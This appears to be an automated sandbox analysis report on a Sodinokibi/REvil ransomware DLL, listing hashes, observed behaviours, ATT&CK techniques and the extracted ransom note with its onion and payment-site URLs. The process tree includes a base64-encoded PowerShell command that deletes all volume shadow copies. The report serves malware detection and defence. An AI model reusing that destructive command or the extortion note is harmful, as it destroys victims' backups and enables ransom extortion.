sodinokibi | f4f27a8d8607db742cdc40a1bffe2384f2a3bdeaa4f10c86d0e339f746a00036

Analysis

max time kernel
51s
max time network
51s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
16-06-2024 00:12

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General

Target

b0d6817c4bcd8df8703a0aa8d2ba08e3_JaffaCakes118.dll
Size

114KB
MD5

b0d6817c4bcd8df8703a0aa8d2ba08e3
SHA1

29c4c5e9c180c4c1241b69dd72ebdf5234628cbc
SHA256

f4f27a8d8607db742cdc40a1bffe2384f2a3bdeaa4f10c86d0e339f746a00036
SHA512

cbe7efb0bded61d4745783e482fcb4332d238855d175f3d15775ab3f8faa25151898611d46a44c38cd1b5b374eee6b892dd1feb03021031041cb444b0e55f69b
SSDEEP

1536:6Q2auIslFGhFtuAp75WeNMYLoRGp+K6fHICS4Ad1vdhC9fhHNPMf:3sI/hqsMYLoRK7b1TafHW

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\333k96-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 333k96. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2A923E9CE5B93D00 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/2A923E9CE5B93D00 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: CZmimPsrMFpDsHPz7Eq+eU3q/M2XniojJiaykdSeYRNIpXB+RKJWxHyP4cxxzyBr Np5MUeIp9cgKLk5FrFCdgT5MABiaRti1mJagCQE2WUFr25wYnqdS7jiLAVG+fOhP 965jgz+NO7EmdWNX2DALxmzc+8GN4n4BjTT1v5E7rJFWAsmhKkgktksJhDslHGrf BMvbDaLIDU3FBLxluy0wQt6Uz82VEFf0C7uKimx++qbfjTlkfa4ng4epqxA2IrH2 hzJQUVSV25NTbh4e8gWhhpPlJaDht5oaLNMvp7fzzuhg1U7BcsdmpvOe6eRkuuDo ymp090LmMp6PIl7KmC5Gj+x+bYs7lZwdbzVzqx/o2X0zge4iNGZZmwlREwwot0at vFMyONnjFvS0k/JMxJmyhFm6byqW+fSqbmJXi+wuXC4h9yHrNG/88wG86ZfGKTXv X2XEkB1B3O4GR4aMc4m8LsMmzQnPHFydSWcarTYY7Cnz/aoqtG0axs+wVNr67Y3T X+MbEhjq0+qNEnL3Y/EvIsD4cubt2BUgrjSWQ+91V0pbVwIRQNqRuiFkxPVI6RK7 nzmgYB3stWXEIzzZKbj7Y6V/ALm0nyTcVwNUuCCdKQw7jSbcUF8dGqVdoaArUe5q auqLtBzj6FcwhgBYzQ9gsvsbeQAfwhNRN2dRfnO4JZBSblmC+z6uU6iHLG86hd8I mmMVvQFkFuNocF3u78rp+D9ZLMf5HrCL9V4kUqJnIBJvFhpcrjsWvoHHBuePdb7Z 8TvMdAGdSaiF3s7DmLt056Qd/Q8cTXbMj/gsxZ2bQcJ4dYLOybfp/wkEaem8ZxVn 3TFzATKB+Z+rtyVUkwVJUtw56kFirHzEFfxVr6EKEnE7mRjFk3sjtOKd2BkAPb6H A8fvgv5riVkuUh4BWcyNObird8qxQDRj7cs9g59bxD32CmIpKs4d07V/2WCHr4Ik dyJFgNqd466+/pM+XgIbVVaeyOh+iPuwGUo4zZO1T3lWN9Y8K+IL+bdLAVBjRpBK IG5pIE2FR6fePMZU2wDWwBuoIHNblN5Bdd8u7IB8HvU4JHckR1yeKBjcU9VTCCos M0inhBnHDD1BI7FqgDowk9DlX6l87UKSsVQt1U7feAq7ANQqxKJ942QUR3vh7TXP SWJ1bgBAmtQTHrDZ1O2/5Jqw8+ZVpclVZKFWiu0MY5YOcYBSuqACLY2ZvtF4g7b3 sDF+UClr+8DGQd9MT2fRBhGICt8xoGATZKJ7kpAINoxhf0DJVy4EGyqMelqdVOfe 3+ajN5l8Hup5xHBBQH+Qm9jF5JuF93GyyMclAvoiCM+ARmr3xKLHiNsoBmcsj9f+ vvYJBqjKars/T2tKPbM91ywMUk2mtoFR/FlYfJgpTz/MlVoYZfQ= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2A923E9CE5B93D00

http://decryptor.cc/2A923E9CE5B93D00

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe

Drops file in Program Files directory 19 IoCs

Processes:

rundll32.exe

description	ioc	process
File opened for modification	\??\c:\program files\CloseSuspend.vdx	rundll32.exe
File opened for modification	\??\c:\program files\ProtectBlock.dib	rundll32.exe
File opened for modification	\??\c:\program files\PublishDisconnect.bmp	rundll32.exe
File created	\??\c:\program files (x86)\333k96-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ImportEdit.pcx	rundll32.exe
File opened for modification	\??\c:\program files\OutInvoke.crw	rundll32.exe
File opened for modification	\??\c:\program files\RegisterStart.php	rundll32.exe
File created	\??\c:\program files\333k96-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\CloseDismount.m3u	rundll32.exe
File opened for modification	\??\c:\program files\DisableExport.3g2	rundll32.exe
File opened for modification	\??\c:\program files\EditFormat.vssm	rundll32.exe
File opened for modification	\??\c:\program files\ExitLock.otf	rundll32.exe
File opened for modification	\??\c:\program files\LimitReset.mp4	rundll32.exe
File opened for modification	\??\c:\program files\OptimizeDismount.clr	rundll32.exe
File opened for modification	\??\c:\program files\SaveConnect.au	rundll32.exe
File opened for modification	\??\c:\program files\SplitStart.ex_	rundll32.exe
File opened for modification	\??\c:\program files\ConvertFromDisconnect.ogg	rundll32.exe
File opened for modification	\??\c:\program files\SaveRepair.mpg	rundll32.exe
File opened for modification	\??\c:\program files\SetNew.xlsb	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

4640 rundll32.exe
4640 rundll32.exe
2128 powershell.exe
2128 powershell.exe

pid	process
4640	rundll32.exe
4640	rundll32.exe
2128	powershell.exe
2128	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4640	rundll32.exe
Token: SeDebugPrivilege	2128	powershell.exe
Token: SeBackupPrivilege	2988	vssvc.exe
Token: SeRestorePrivilege	2988	vssvc.exe
Token: SeAuditPrivilege	2988	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 5012 wrote to memory of 4640	5012	rundll32.exe	rundll32.exe
PID 5012 wrote to memory of 4640	5012	rundll32.exe	rundll32.exe
PID 5012 wrote to memory of 4640	5012	rundll32.exe	rundll32.exe
PID 4640 wrote to memory of 2128	4640	rundll32.exe	powershell.exe
PID 4640 wrote to memory of 2128	4640	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\b0d6817c4bcd8df8703a0aa8d2ba08e3_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:5012

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\b0d6817c4bcd8df8703a0aa8d2ba08e3_JaffaCakes118.dll,#1
2⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2128

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4840

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2988

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\333k96-readme.txt
Filesize
6KB

MD5
b4783b020df4a56d145743d0ff56ac66

SHA1
c74f486413afb212930a30118f2b936626493985

SHA256
6d1edeaee748f480db666dd8db3793e0b75b8470062a142fc8464f15a53b67ba

SHA512
6b7241825641f3ce1842d053a3da2787f693fe5c48b29e6cfcd992530b0c513899f872cb4d1523cc153c21e82f4f58c7069a3b2d8da395934ca53d6e7d11a55e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_alal2agb.fxv.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2128-0-0x00007FFE14C73000-0x00007FFE14C75000-memory.dmp

Filesize
8KB

Download
memory/2128-6-0x00000218DB680000-0x00000218DB6A2000-memory.dmp

Filesize
136KB

Download
memory/2128-11-0x00007FFE14C70000-0x00007FFE15731000-memory.dmp

Filesize
10.8MB

Download
memory/2128-12-0x00007FFE14C70000-0x00007FFE15731000-memory.dmp

Filesize
10.8MB

Download
memory/2128-15-0x00007FFE14C70000-0x00007FFE15731000-memory.dmp

Filesize
10.8MB

Download